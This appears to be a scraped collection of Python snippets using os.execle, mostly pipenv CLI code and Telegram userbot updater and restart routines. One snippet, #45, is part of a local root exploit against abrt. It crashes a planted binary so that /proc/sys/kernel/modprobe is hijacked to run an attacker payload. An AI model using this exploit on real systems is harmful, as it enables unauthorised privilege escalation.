    if completion:
        from .. import shells

        try:
            shell = shells.detect_info()[0]
        except shells.ShellDetectionFailure:
            echo(
                "Fail to detect shell. Please provide the {0} environment "
                "variable.".format(crayons.normal("PIPENV_SHELL", bold=True)),
                err=True,
            )
            ctx.abort()
        print(click_completion.get_code(shell=shell, prog_name="pipenv"))
        return 0

    from ..core import (
        system_which,
        do_py,
        warn_in_virtualenv,
        do_where,
        project,
        cleanup_virtualenv,
        ensure_project,
        format_help,
        do_clear,
    )
    from ..utils import create_spinner

    if man:
        if system_which("man"):
            path = os.path.join(os.path.dirname(os.path.dirname(__file__)),
                                "pipenv.1")
            os.execle(system_which("man"), "man", path, os.environ)
            return 0
        else:
            secho("man does not appear to be available on your system.",
                  fg="yellow",
                  bold=True,
                  err=True)
            return 1
    if envs:
        echo(
            "The following environment variables can be set, to do various things:\n"
        )
        from .. import environments
        for key in environments.__dict__:
            if key.startswith("PIPENV"):
                echo("  - {0}".format(crayons.normal(key, bold=True)))
        echo("\nYou can learn more at:\n   {0}".format(
            crayons.green(
                "https://pipenv.pypa.io/en/latest/advanced/#configuration-with-environment-variables"
            )))
        return 0
    warn_in_virtualenv()
    if ctx.invoked_subcommand is None:
        # --where was passed...
        if where:
            do_where(bare=True)
            return 0
        elif py:
            do_py()
            return 0
        # --support was passed...
        elif support:
            from ..help import get_pipenv_diagnostics

            get_pipenv_diagnostics()
            return 0
        # --clear was passed...
        elif state.clear:
            do_clear()
            return 0
        # --venv was passed...
        elif venv:
            # There is no virtualenv yet.
            if not project.virtualenv_exists:
                echo(
                    "{}({}){}".format(
                        crayons.red(
                            "No virtualenv has been created for this project"),
                        crayons.normal(project.project_directory, bold=True),
                        crayons.red(" yet!")),
                    err=True,
                )
                ctx.abort()
            else:
                echo(project.virtualenv_location)
                return 0
        # --rm was passed...
        elif rm:
            # Abort if --system (or running in a virtualenv).
            from ..environments import PIPENV_USE_SYSTEM
            if PIPENV_USE_SYSTEM:
                echo(
                    crayons.red(
                        "You are attempting to remove a virtualenv that "
                        "Pipenv did not create. Aborting."))
                ctx.abort()
            if project.virtualenv_exists:
                loc = project.virtualenv_location
                echo(
                    crayons.normal(u"{0} ({1})...".format(
                        crayons.normal("Removing virtualenv", bold=True),
                        crayons.green(loc),
                    )))
                with create_spinner(text="Running..."):
                    # Remove the virtualenv.
                    cleanup_virtualenv(bare=True)
                return 0
            else:
                echo(
                    crayons.red(
                        "No virtualenv has been created for this project yet!",
                        bold=True,
                    ),
                    err=True,
                )
                ctx.abort()
    # --two / --three was passed...
    if (state.python or state.three is not None) or state.site_packages:
        ensure_project(
            three=state.three,
            python=state.python,
            warn=True,
            site_packages=state.site_packages,
            pypi_mirror=state.pypi_mirror,
            clear=state.clear,
        )
    # Check this again before exiting for empty ``pipenv`` command.
    elif ctx.invoked_subcommand is None:
        # Display help to user, if no commands were passed.
        echo(format_help(ctx.get_help()))
예제 #40
0
파일: cli.py 프로젝트: werwty/pipenv
def cli(
    ctx,
    where=False,
    venv=False,
    rm=False,
    bare=False,
    three=False,
    python=False,
    help=False,
    py=False,
    site_packages=False,
    envs=False,
    man=False,
    completion=False,
):
    if completion:  # Handle this ASAP to make shell startup fast.
        if PIPENV_SHELL:
            echo(
                get_code(shell=PIPENV_SHELL.split(os.sep)[-1],
                         prog_name='pipenv'))
        else:
            echo(
                'Please ensure that the {0} environment variable '
                'is set.'.format(crayons.normal('SHELL', bold=True)),
                err=True,
            )
            sys.exit(1)
        sys.exit(0)

    from .core import (system_which, do_py, warn_in_virtualenv, do_where,
                       project, spinner, cleanup_virtualenv, ensure_project,
                       format_help)
    if man:
        if system_which('man'):
            path = os.sep.join([os.path.dirname(__file__), 'pipenv.1'])
            os.execle(system_which('man'), 'man', path, os.environ)
        else:
            echo('man does not appear to be available on your system.',
                 err=True)
    if envs:
        echo(
            'The following environment variables can be set, to do various things:\n'
        )
        for key in environments.__dict__:
            if key.startswith('PIPENV'):
                echo('  - {0}'.format(crayons.normal(key, bold=True)))
        echo('\nYou can learn more at:\n   {0}'.format(
            crayons.green(
                'http://docs.pipenv.org/advanced/#configuration-with-environment-variables'
            )))
        sys.exit(0)
    warn_in_virtualenv()
    if ctx.invoked_subcommand is None:
        # --where was passed...
        if where:
            do_where(bare=True)
            sys.exit(0)
        elif py:
            do_py()
            sys.exit()
        # --venv was passed...
        elif venv:
            # There is no virtualenv yet.
            if not project.virtualenv_exists:
                echo(
                    crayons.red(
                        'No virtualenv has been created for this project yet!'
                    ),
                    err=True,
                )
                sys.exit(1)
            else:
                echo(project.virtualenv_location)
                sys.exit(0)
        # --rm was passed...
        elif rm:
            # Abort if --system (or running in a virtualenv).
            if PIPENV_USE_SYSTEM:
                echo(
                    crayons.red(
                        'You are attempting to remove a virtualenv that '
                        'Pipenv did not create. Aborting.'))
                sys.exit(1)
            if project.virtualenv_exists:
                loc = project.virtualenv_location
                echo(
                    crayons.normal(u'{0} ({1})…'.format(
                        crayons.normal('Removing virtualenv', bold=True),
                        crayons.green(loc),
                    )))
                with spinner():
                    # Remove the virtualenv.
                    cleanup_virtualenv(bare=True)
                sys.exit(0)
            else:
                echo(
                    crayons.red(
                        'No virtualenv has been created for this project yet!',
                        bold=True,
                    ),
                    err=True,
                )
                sys.exit(1)
    # --two / --three was passed...
    if (python or three is not None) or site_packages:
        ensure_project(three=three,
                       python=python,
                       warn=True,
                       site_packages=site_packages)
    # Check this again before exiting for empty ``pipenv`` command.
    elif ctx.invoked_subcommand is None:
        # Display help to user, if no commands were passed.
        echo(format_help(ctx.get_help()))
예제 #41
0
async def verifyLoggerGroup():
    """
    Will verify the both loggers group
    """
    flag = False
    if BOTLOG:
        try:
            entity = await catub.get_entity(BOTLOG_CHATID)
            if not isinstance(entity, types.User) and not entity.creator:
                if entity.default_banned_rights.send_messages:
                    LOGS.info(
                        "Permissions missing to send messages for the specified PRIVATE_GROUP_BOT_API_ID."
                    )
                if entity.default_banned_rights.invite_users:
                    LOGS.info(
                        "Permissions missing to addusers for the specified PRIVATE_GROUP_BOT_API_ID."
                    )
        except ValueError:
            LOGS.error(
                "PRIVATE_GROUP_BOT_API_ID cannot be found. Make sure it's correct."
            )
        except TypeError:
            LOGS.error(
                "PRIVATE_GROUP_BOT_API_ID is unsupported. Make sure it's correct."
            )
        except Exception as e:
            LOGS.error(
                "An Exception occured upon trying to verify the PRIVATE_GROUP_BOT_API_ID.\n"
                + str(e))
    else:
        descript = "Don't delete this group or change to group(If you change group all your previous snips, welcome will be lost.)"
        _, groupid = await create_supergroup("CatUserbot BotLog Group", catub,
                                             Config.TG_BOT_USERNAME, descript)
        addgvar("PRIVATE_GROUP_BOT_API_ID", groupid)
        print(
            "Private Group for PRIVATE_GROUP_BOT_API_ID is created successfully and added to vars."
        )
        flag = True
    if PM_LOGGER_GROUP_ID != -100:
        try:
            entity = await catub.get_entity(PM_LOGGER_GROUP_ID)
            if not isinstance(entity, types.User) and not entity.creator:
                if entity.default_banned_rights.send_messages:
                    LOGS.info(
                        "Permissions missing to send messages for the specified PM_LOGGER_GROUP_ID."
                    )
                if entity.default_banned_rights.invite_users:
                    LOGS.info(
                        "Permissions missing to addusers for the specified PM_LOGGER_GROUP_ID."
                    )
        except ValueError:
            LOGS.error(
                "PM_LOGGER_GROUP_ID cannot be found. Make sure it's correct.")
        except TypeError:
            LOGS.error(
                "PM_LOGGER_GROUP_ID is unsupported. Make sure it's correct.")
        except Exception as e:
            LOGS.error(
                "An Exception occured upon trying to verify the PM_LOGGER_GROUP_ID.\n"
                + str(e))
    if flag:
        executable = sys.executable.replace(" ", "\\ ")
        args = [executable, "-m", "userbot"]
        os.execle(executable, *args, os.environ)
        sys.exit(0)
예제 #42
0
async def upstream(ups):
    "For .update command, check if the bot is up to date, update if specified"
    await ups.edit("**Wait A Sec.... Checking for new update😋**")
    conf = ups.pattern_match.group(1)
    off_repo = UPSTREAM_REPO_URL
    force_updateme = False

    try:
        txt = "`Oops.. Updater cannot continue as "
        txt += "some problems occured`\n\n**LOGTRACE:**\n"
        repo = Repo()
    except NoSuchPathError as error:
        await ups.edit(f'{txt}\n`directory {error} is not found`')
        repo.__del__()
        return
    except GitCommandError as error:
        await ups.edit(f'{txt}\n`Early failure! {error}`')
        repo.__del__()
        return
    except InvalidGitRepositoryError as error:
        if conf != "now":
            await ups.edit(
                f"**Sync-Verification required since the directory {error} does not seem to be a git repository.\
                \nSync-Verify now with {GIT_REPO_NAME}\
            \nTo do This type** `.update now`.")
            return
        repo = Repo.init()
        origin = repo.create_remote('upstream', off_repo)
        origin.fetch()
        force_updateme = True
        repo.create_head('master', origin.refs.master)
        repo.heads.master.set_tracking_branch(origin.refs.master)
        repo.heads.master.checkout(True)

    ac_br = repo.active_branch.name
    if ac_br != 'master':
        await ups.edit(
            f'**[UPDATER]:**` Looks like you are using your own custom branch ({ac_br}). '
            'in that case, Updater is unable to identify '
            'which branch is to be merged. '
            'Please checkout the official branch of Hêllẞø†`')
        repo.__del__()
        return

    try:
        repo.create_remote('upstream', off_repo)
    except BaseException:
        pass

    ups_rem = repo.remote('upstream')
    ups_rem.fetch(ac_br)

    changelog = await gen_chlog(repo, f'HEAD..upstream/{ac_br}')

    if not changelog and not force_updateme:
        await ups.edit(
            f'\n`Your` __Hêllẞø†__ `is`  **up-to-date**  `with`  **[[{ac_br}]]({UPSTREAM_REPO_URL}/tree/{ac_br})**\n'
        )
        repo.__del__()
        return

    if conf != "now" and not force_updateme:
        changelog_str = f'**New UPDATE available for [[{ac_br}]]({UPSTREAM_REPO_URL}/tree/{ac_br}):**\n\n' + '**CHANGELOG**\n\n' + f'{changelog}'
        if len(changelog_str) > 4096:
            await ups.edit("`Changelog is too big, view the file to see it.`")
            file = open("output.txt", "w+")
            file.write(changelog_str)
            file.close()
            await ups.client.send_file(
                ups.chat_id,
                "output.txt",
                reply_to=ups.id,
            )
            remove("output.txt")
        else:
            await ups.edit(changelog_str)
        await ups.respond(f'Do `.update now` to update')
        return

    if force_updateme:
        await ups.edit(
            '`Force-Updating to latest stable Hêllẞø† code, please wait sur😅😅...`'
        )
    else:
        await ups.edit(
            '`Updating your` **Hêllẞø†** `please wait for 10 mins then type .alive/.ping/.awake/.help/.test to see if I am On... \n\n          __Hêllẞø†__'
        )
    # We're in a Heroku Dyno, handle it's memez.
    if Var.HEROKU_API_KEY is not None:
        import heroku3
        heroku = heroku3.from_key(Var.HEROKU_API_KEY)
        heroku_app = None
        heroku_applications = heroku.apps()
        if not Var.HEROKU_APP_NAME:
            await ups.edit(
                '`Please set up the HEROKU_APP_NAME variable to be able to update Hêllẞø†.`'
            )
            repo.__del__()
            return
        for app in heroku_applications:
            if app.name == Var.HEROKU_APP_NAME:
                heroku_app = app
                break
        if heroku_app is None:
            await ups.edit(
                f'{txt}\n`Invalid Heroku credentials for updating Hêllẞø† dyno.`'
            )
            repo.__del__()
            return
        await ups.edit(
            '`Updated Hêllẞø† Successfully Sur🔥🔥\nRestarting, please wait...5 mins...then type .ping to check if I am On!!!😐`'
        )
        ups_rem.fetch(ac_br)
        repo.git.reset("--hard", "FETCH_HEAD")
        heroku_git_url = heroku_app.git_url.replace(
            "https://", "https://*****:*****@")
        if "heroku" in repo.remotes:
            remote = repo.remote("heroku")
            remote.set_url(heroku_git_url)
        else:
            remote = repo.create_remote("heroku", heroku_git_url)
        try:
            remote.push(refspec="HEAD:refs/heads/master", force=True)
        except GitCommandError as error:
            await ups.edit(f'{txt}\n`Here is the error log:\n{error}`')
            repo.__del__()
            return
        await ups.edit(
            '`Sync Verified Hêllẞø† Successfully Sur🔥🔥\n'
            'Restarting, please wait...1 mins...then type .ping to check if I am On!!!😐`'
        )
    else:
        # Classic Updater, pretty straightforward.
        try:
            ups_rem.pull(ac_br)
        except GitCommandError:
            repo.git.reset("--hard", "FETCH_HEAD")
        await updateme_requirements()
        await ups.edit('`Successfully Updated!\n'
                       'Bot is restarting... Wait for a minute!`')
        # Spin a new instance of bot
        args = [sys.executable, "-m", "userbot"]
        execle(sys.executable, *args, environ)
        return
예제 #43
0
async def upstream(ups):
    "For .update command, check if the bot is up to date, update if specified"
    await ups.edit("`Checking for updates, please wait....`")
    conf = ups.pattern_match.group(1)
    off_repo = UPSTREAM_REPO_URL
    force_update = False

    try:
        txt = "`Oops.. Updater cannot continue due to "
        txt += "some problems occured`\n\n**LOGTRACE:**\n"
        repo = Repo()
    except NoSuchPathError as error:
        await ups.edit(f'{txt}\n`directory {error} is not found`')
        repo.__del__()
        return
    except GitCommandError as error:
        await ups.edit(f'{txt}\n`Early failure! {error}`')
        repo.__del__()
        return
    except InvalidGitRepositoryError as error:
        if conf != "now":
            await ups.edit(
                f"`Unfortunately, the directory {error} does not seem to be a git repository.\
            \nBut we can fix that by force updating the userbot using .update now.`"
            )
            return
        repo = Repo.init()
        origin = repo.create_remote('upstream', off_repo)
        origin.fetch()
        force_update = True
        repo.create_head('master', origin.refs.master)
        repo.heads.master.set_tracking_branch(origin.refs.master)
        repo.heads.master.checkout(True)

    ac_br = repo.active_branch.name
    if ac_br != 'master':
        await ups.edit(
            f'**[UPDATER]:**` Looks like you are using your own custom branch ({ac_br}). '
            'in that case, Updater is unable to identify '
            'which branch is to be merged. '
            'please checkout to any official branch`')
        repo.__del__()
        return

    try:
        repo.create_remote('upstream', off_repo)
    except BaseException:
        pass

    ups_rem = repo.remote('upstream')
    ups_rem.fetch(ac_br)

    changelog = await gen_chlog(repo, f'HEAD..upstream/{ac_br}')

    if not changelog and not force_update:
        await ups.edit(f'\n`{JAVES_NNAME} is`  **up-to-date**  \n')
        repo.__del__()
        return

    if conf != "now" and not force_update:
        changelog_str = f'**New UPDATE available for {JAVES_NNAME}\n\nCHANGELOG:**\n`{changelog}`'
        if len(changelog_str) > 4096:
            await ups.edit("`Changelog is too big, view the file to see it.`")
            file = open("output.txt", "w+")
            file.write(changelog_str)
            file.close()
            await ups.client.send_file(
                ups.chat_id,
                "output.txt",
                reply_to=ups.id,
            )
            remove("output.txt")
        else:
            await ups.edit(changelog_str)
        await ups.respond('`do \"!update now\" to update`')
        return

    if force_update:
        await ups.edit(
            '`Force-Syncing to latest stable userbot code, please wait...`')
    else:
        await ups.edit('`Finiding your heroku app.....`')
    # We're in a Heroku Dyno, handle it's memez.
    if HEROKU_APIKEY is not None:
        import heroku3
        heroku = heroku3.from_key(HEROKU_APIKEY)
        heroku_app = None
        heroku_applications = heroku.apps()
        if not HEROKU_APPNAME:
            await ups.edit(
                '`Please set up the HEROKU_APPNAME variable to be able to update userbot.`'
            )
            repo.__del__()
            return
        for app in heroku_applications:
            if app.name == HEROKU_APPNAME:
                heroku_app = app
                break
        if heroku_app is None:
            await ups.edit(
                f'{txt}\n`Invalid Heroku credentials for updating userbot dyno.`'
            )
            repo.__del__()
            return
        await ups.edit(f'`[Updater]\
                        {JAVES_NNAME} dyno build in progress, please wait for it to complete.\n It may take 10 minutes `'
                       )
        ups_rem.fetch(ac_br)
        repo.git.reset("--hard", "FETCH_HEAD")
        heroku_git_url = heroku_app.git_url.replace(
            "https://", "https://*****:*****@")
        if "heroku" in repo.remotes:
            remote = repo.remote("heroku")
            remote.set_url(heroku_git_url)
        else:
            remote = repo.create_remote("heroku", heroku_git_url)
        try:
            remote.push(refspec="HEAD:refs/heads/master", force=True)
        except GitCommandError as error:
            await ups.edit(f'{txt}\n`Here is the error log:\n{error}`')
            repo.__del__()
            return
        await ups.edit('Successfully Updated!\n' 'Restarting.......')
    else:
        # Classic Updater, pretty straightforward.
        try:
            ups_rem.pull(ac_br)
        except GitCommandError:
            repo.git.reset("--hard", "FETCH_HEAD")
        reqs_upgrade = await update_requirements()
        await ups.edit('`Successfully Updated!\n' 'restarting......`')
        # Spin a new instance of bot
        args = [sys.executable, "-m", "userbot"]
        execle(sys.executable, *args, environ)
        return
예제 #44
0
        if p.equals(sp):
            #print("i pacchetti "+p.str()+" e "+sp.str()+" sono uguali")
            return 1
        else:
            #print("i pacchetti non sono uguali")
            return 0


os.chdir("/var/cache/pacman/pkg") #spostiamoci nella cartella d'interesse
euid= os.getuid()
if euid != 0:
    print("Root privileges are required to run Cleanman. Running sudo...")
    #myPath=os.getcwd()
    myPath+="/Cleanman.py"
    args = [sys.executable] + [myPath]+ [os.environ]
    os.execle('/usr/bin/sudo', *args)
    sys.exit(0)
        
dirList=os.listdir(os.getcwd()) #questa è la lista grezza e non ordinata contenente i file della directory
#print(dirList)
archivio=Archivio() #questo dizionario conterrà solamente i pacchetti più aggiornati

nome="";
arch="";
dimensione=0;   #dimensione dei file totali
free=0;
for i in dirList:
    statistiche=os.stat(i) # Collezione di statistiche del file
    #print("os.stat(i)= "+str(statistiche))
    dimensione=dimensione+statistiche.st_size #st.size ritorna la dimensione dei file
    if archivio.aggiungi(i):
예제 #45
0
try:
	os.lstat(sym)
except:
	print "could not create symlink"
	sys.exit(-1)

print "%s created" % sym

open("/tmp/abrt-hax","w+").write(elf)
os.chmod("/tmp/abrt-hax",0755)

if os.fork() == 0:
	resource.setrlimit(resource.RLIMIT_CORE,(resource.RLIM_INFINITY,resource.RLIM_INFINITY,))
	print "executing crashing process.."
	os.execle("/tmp/abrt-hax","",{})

os.wait()
time.sleep(1)	

if "/tmp/hax" not in open("/proc/sys/kernel/modprobe").read():
	print "could not modify /proc/sys/kernel/modprobe"
	sys.exit(-1)

open("/tmp/hax.sh","w+").write(payload)
os.chmod("/tmp/hax.sh",0755)

try:
	socket.socket(socket.AF_INET,socket.SOCK_STREAM,132)
except:
	pass
예제 #46
0
cwddirs = os.getcwd().split('/')
root_found = False

if xsbs_root_path == '':
	for dir in cwddirs:
		if dir.find('xsbs') > -1:
			root_found = True
		xsbs_root_path += dir + '/'
else:
	root_found = True

if not root_found:
	print 'Error: Could not find XSBS root in your current path.'
	print 'Please cd into the XSBS source directory and re-run this script.'
	sys.exit(1)

if pyscripts_path == '':
	pyscripts_path = xsbs_root_path + 'src/pyscripts'
if not os.path.isdir(pyscripts_path):
	print 'Error: Could not find pyscripts folder in your XSBS directory.'
	print 'Did you perform an out of source build?  Make sure you are in the XSBS source directory.'
	sys.exit(1)

if xsbs_bin_path == '':
	xsbs_bin_path = xsbs_root_path + 'src/xsbs'
if not os.path.isfile(xsbs_bin_path):
	os.execlpe('xsbs', 'xsbs', '-lsauer.log', '-s'+pyscripts_path, os.environ)
else:
	os.execle(xsbs_bin_path, 'xsbs' '-lsauer.log', '-s'+pyscripts_path, os.environ)

예제 #47
0
async def upstream(ups):
    "For .update command, check if the bot is up to date, update if specified"
    await ups.edit("`Sto controllando gli aggiornamenti, aspetta....`")
    conf = ups.pattern_match.group(1)
    off_repo = UPSTREAM_REPO_URL
    force_update = False

    try:
        txt = "`Oops.. L'installer ha incontrato un'errore "
        txt += "alcuni problemi si sono verificati:`\n\n**LOGTRACE:**\n"
        repo = Repo()
    except NoSuchPathError as error:
        await ups.edit(f'{txt}\n`cartella {error} non trovata`')
        repo.__del__()
        return
    except GitCommandError as error:
        await ups.edit(f'{txt}\n`Errore critico! {error}`')
        repo.__del__()
        return
    except InvalidGitRepositoryError as error:
        if conf != "now":
            await ups.edit(
                f"`Sfortunatamente, la cartella {error} non sembra essere una repo.\
            \nPerò possiamo risolvere questo forzando l'aggiornamento usando .update now.`"
            )
            return
        repo = Repo.init()
        origin = repo.create_remote('upstream', off_repo)
        origin.fetch()
        force_update = True
        repo.create_head('master', origin.refs.master)
        repo.heads.master.set_tracking_branch(origin.refs.master)
        repo.heads.master.checkout(True)

    ac_br = repo.active_branch.name
    if ac_br != 'master':
        await ups.edit(
            f'**[UPDATER]:**` Sembra che stai usando una branch custom ({ac_br}). '
            'in questo caso, Updater non riesce ad indentificare '
            'quale branch da usare. '
            'per favore contatta @xfl4me`')
        repo.__del__()
        return

    try:
        repo.create_remote('upstream', off_repo)
    except BaseException:
        pass

    ups_rem = repo.remote('upstream')
    ups_rem.fetch(ac_br)

    changelog = await gen_chlog(repo, f'HEAD..upstream/{ac_br}')

    if not changelog and not force_update:
        await ups.edit(
            f'\n`Il tuo bot è`  **aggiornato**  `con`  **{ac_br}**\n')
        repo.__del__()
        return

    if conf != "now" and not force_update:
        changelog_str = f'**Nuovo aggiornamento disponibile per [{ac_br}]:\n\nCHANGELOG:**\n`{changelog}`'
        if len(changelog_str) > 4096:
            await ups.edit("`Changelog è troppo grande, apri il file per vederlo.`")
            file = open("output.txt", "w+")
            file.write(changelog_str)
            file.close()
            await ups.client.send_file(
                ups.chat_id,
                "output.txt",
                reply_to=ups.id,
            )
            remove("output.txt")
        else:
            await ups.edit(changelog_str)
        await ups.respond('`scrivi \".update now\" per aggiornare`')
        return

    if force_update:
        await ups.edit(
            '`Forzando updater.py, per favore aspetta...`')
    else:
        await ups.edit('`Aggiornando userbot, aspetta....`')
    # We're in a Heroku Dyno, handle it's memez.
    if HEROKU_APIKEY is not None:
        import heroku3
        heroku = heroku3.from_key(HEROKU_APIKEY)
        heroku_app = None
        heroku_applications = heroku.apps()
        if not HEROKU_APPNAME:
            await ups.edit(
                '`[HEROKU MEMEZ] Please set up the HEROKU_APPNAME variable to be able to update userbot.`'
            )
            repo.__del__()
            return
        for app in heroku_applications:
            if app.name == HEROKU_APPNAME:
                heroku_app = app
                break
        if heroku_app is None:
            await ups.edit(
                f'{txt}\n`Invalid Heroku credentials for updating userbot dyno.`'
            )
            repo.__del__()
            return
        await ups.edit('`[HEROKU MEMEZ]\
                        \nUserbot dyno build in progress, please wait for it to complete.`'
                       )
        ups_rem.fetch(ac_br)
        repo.git.reset("--hard", "FETCH_HEAD")
        heroku_git_url = heroku_app.git_url.replace(
            "https://", "https://*****:*****@")
        if "heroku" in repo.remotes:
            remote = repo.remote("heroku")
            remote.set_url(heroku_git_url)
        else:
            remote = repo.create_remote("heroku", heroku_git_url)
        try:
            remote.push(refspec="HEAD:refs/heads/master", force=True)
        except GitCommandError as error:
            await ups.edit(f'{txt}\n`Here is the error log:\n{error}`')
            repo.__del__()
            return
        await ups.edit('`Aggiornato correttamente!\n'
                       'Riavvio!, aspetta...`')
    else:
        # Classic Updater, pretty straightforward.
        try:
            ups_rem.pull(ac_br)
        except GitCommandError:
            repo.git.reset("--hard", "FETCH_HEAD")
        reqs_upgrade = await update_requirements()
        await ups.edit('`Aggiornato correttamente!\n'
                       'Riavvio... aspetta per un secondo!`')
        # Spin a new instance of bot
        args = [sys.executable, "-m", "userbot"]
        execle(sys.executable, *args, os.environ)
        return
예제 #48
0
파일: runner.py 프로젝트: shiwabot/anieBot
async def reload_LEGENDBOT():
    executable = sys.executable.replace(" ", "\\ ")
    args = [executable, "-m", "userbot"]
    os.execle(executable, *args, os.environ)
    os._exit(143)
예제 #49
0
 def start(self):
     conf = self.build_nginx_conf()
     with NamedTemporaryFile() as f:
         f.write(conf.encode('utf-8'))
         f.flush()
         os.execle(self.nginx_path, self.nginx_path, '-c', f.name, {})
예제 #50
0
async def upstream(ups):
    "For .update command, check if the bot is up to date, update if specified"
    conf = ups.pattern_match.group(1)
    await ups.edit("Checking for updates, please wait....")
    off_repo = UPSTREAM_REPO_URL
    force_update = False
    try:
        txt = "Oops.. Updater cannot continue due to "
        txt += "some problems occured`\n\n**LOGTRACE:**\n"
        repo = Repo()
    except NoSuchPathError as error:
        await ups.edit(f'{txt}\ndirectory {error} is not found')
        repo.__del__()
        return
    except GitCommandError as error:
        await ups.edit(f'{txt}\nEarly failure! {error}')
        repo.__del__()
        return
    except InvalidGitRepositoryError as error:
        if conf != "now":
            await ups.edit(
                f"Hey, did you type update🤔.....Okie..My dear sweet master..🤗\
            \nPlease do type |.update now| to update this Awesome THUGBOT😎."
            )
            return
        repo = Repo.init()
        origin = repo.create_remote('upstream', off_repo)
        origin.fetch()
        force_update = True
        repo.create_head('master', origin.refs.master)
        repo.heads.master.set_tracking_branch(origin.refs.master)
        repo.heads.master.checkout(True)
    ac_br = repo.active_branch.name
    if ac_br != 'master':
        await ups.edit(
            f'**[UPDATER]:**` Looks like you are using your own custom branch ({ac_br}). '
            'in that case, Updater is unable to identify '
            'which branch is to be merged. '
            'please checkout to any official branch`')
        repo.__del__()
        return
    try:
        repo.create_remote('upstream', off_repo)
    except BaseException:
        pass
    ups_rem = repo.remote('upstream')
    ups_rem.fetch(ac_br)
    changelog = await gen_chlog(repo, f'HEAD..upstream/{ac_br}')
    if not changelog and not force_update:
        await ups.edit(
            f'\n`Your THUGBOT is`  **up-to-date**  `with`  **{ac_br}**\n')
        repo.__del__()
        return
    if conf != "now" and not force_update:
        changelog_str = f'**New UPDATE available for [{ac_br}]:\n\nCHANGELOG:**\n`{changelog}`'
        if len(changelog_str) > 4096:
            await ups.edit("`Changelog is too big, view the file to see it.`")
            file = open("output.txt", "w+")
            file.write(changelog_str)
            file.close()
            await ups.client.send_file(
                ups.chat_id,
                "output.txt",
                reply_to=ups.id,
            )
            remove("output.txt")
        else:
            await ups.edit(changelog_str)
        await ups.respond("do `.update now` to update")
        return
    if force_update:
        await ups.edit(
            'Force-Syncing to latest stable userbot code, please wait ...😅😅'
        )
    else:
        await ups.edit(
            'Updating THUG, please wait....you arey best boss🤗😇')
    if HEROKU_API_KEY is not None:
        import heroku3
        heroku = heroku3.from_key(HEROKU_API_KEY)
        heroku_app = None
        heroku_applications = heroku.apps()
        if not HEROKU_APP_NAME:
            await ups.edit(
                'Please set up the `HEROKU_APP_NAME` variable to be able to update userbot.'
            )
            repo.__del__()
            return
        for app in heroku_applications:
            if app.name == HEROKU_APP_NAME:
                heroku_app = app
                break
        if heroku_app is None:
            await ups.edit(
                f'{txt}\n`Invalid Heroku credentials for updating userbot dyno.`'
            )
            repo.__del__()
            return
        ups_rem.fetch(ac_br)
        repo.git.reset("--hard", "FETCH_HEAD")
        heroku_git_url = heroku_app.git_url.replace(
            "https://", "https://*****:*****@")
        if "heroku" in repo.remotes:
            remote = repo.remote("heroku")
            remote.set_url(heroku_git_url)
        else:
            remote = repo.create_remote("heroku", heroku_git_url)
        await ups.edit(
            "Updating and Deploying New Update. Please wait for 5 minutes then use `.alive` to check if i'm working or not, you are my best boss...🤗🤗😎.. Just after this update a restart will take place..that's all- your Hêllẞø† by @Kraken_The_BadASS "
        )
        remote.push(refspec="HEAD:refs/heads/master", force=True)
    else:
        try:
            ups_rem.pull(ac_br)
        except GitCommandError:
            repo.git.reset("--hard", "FETCH_HEAD")
        reqs_upgrade = await update_requirements()
        await ups.edit('`Successfully Updated!\n'
                       'Bot is restarting... Wait for a second!`')
        # Spin a new instance of bot
        args = [sys.executable, "-m", "userbot"]
        execle(sys.executable, *args, environ)
        return
예제 #51
0
파일: a-rtdl.py 프로젝트: inox9/rutube-dl
import os
import androidhelper
import sys

script = '/storage/emulated/0/pyscripts/rtdl.py'
droid = androidhelper.Android()
args = [script]
url = droid.dialogGetInput(title='URL', message='Enter Rutube.ru URL').result
if not url:
	exit()
args.append(url)
dldir = droid.dialogGetInput(title='Save path', message='Enter save path', defaultText='/storage/emulated/0/Movies').result
if not dldir:
	exit()
args.extend(['-O', dldir])
proxy = droid.dialogGetInput(title='Proxy', message='Use RU proxy? (0/1)', defaultText='0').result
if proxy is None:
	exit()
if proxy == '1':
	args.append('-p')
args.append('-nc')
args.append(os.environ)
os.execle(sys.executable, os.path.basename(sys.executable), *args)
예제 #52
0
async def upstream(ups):
    check = ups.message.sender_id
    if int(check) != int(OWNER_ID):
        return
    lol = await ups.reply("`Checking for updates, please wait....`")
    conf = ups.pattern_match.group(1)
    off_repo = UPSTREAM_REPO_URL
    force_update = False

    try:
        txt = "`Oops.. Updater cannot continue "
        repo = Repo()
    except NoSuchPathError as error:
        await lol.edit(f"{txt}\n`directory {error} is not found`")
        repo.__del__()
        return
    except GitCommandError as error:
        await lol.edit(f"{txt}\n`Early failure! {error}`")
        repo.__del__()
        return
    except InvalidGitRepositoryError as error:
        if conf != "now":
            await lol.edit(
                f"**Unfortunately, the directory {error} does not seem to be a git repository.\
            \nBut we can fix that by force updating the bot using** `/update now`"
            )
            return
        repo = Repo.init()
        origin = repo.create_remote("upstream", off_repo)
        origin.fetch()
        force_update = True
        repo.create_head("master", origin.refs.master)
        repo.heads.master.set_tracking_branch(origin.refs.master)
        repo.heads.master.checkout(True)

    ac_br = repo.active_branch.name
    if ac_br != "master":
        await lol.edit(
            f"**[UPDATER]:**` Looks like you are using your own custom branch ({ac_br}). "
            "in that case, Updater is unable to identify "
            "which branch is to be merged. "
            "please checkout to any official branch`")
        repo.__del__()
        return

    try:
        repo.create_remote("upstream", off_repo)
    except BaseException:
        pass

    ups_rem = repo.remote("upstream")
    ups_rem.fetch(ac_br)

    changelog = await gen_chlog(repo, f"HEAD..upstream/{ac_br}")

    if not changelog and not force_update:
        await lol.edit("\n`Your bot is`  **up-to-date**  \n")
        repo.__del__()
        return

    if conf != "now" and not force_update:
        changelog_str = (
            f"**New UPDATE available for {ac_br}\n\nCHANGELOG:**\n`{changelog}`"
        )
        if len(changelog_str) > 4096:
            await lol.edit("`Changelog is too big, view the file to see it.`")
            file = open("output.txt", "w+")
            file.write(changelog_str)
            file.close()
            await tbot.send_file(
                ups.chat_id,
                "output.txt",
                reply_to=ups.id,
            )
            remove("output.txt")
        else:
            await lol.edit(changelog_str)
        await ups.respond("**do** `/update now` **to update**")
        return

    if force_update:
        await lol.edit(
            "`Force-Syncing to latest master bot code, please wait...`")
    else:
        await lol.edit("`Still Running ....`")

    try:
        ups_rem.pull(ac_br)
    except GitCommandError:
        repo.git.reset("--hard", "FETCH_HEAD")

    await lol.edit("`Successfully Updated!\n" "restarting......`")
    args = [sys.executable, "-m", "julia"]
    execle(sys.executable, *args, environ)
    return
예제 #53
0
# See https://docs.python.org/3/library/os.html
cmd = "ls -l"
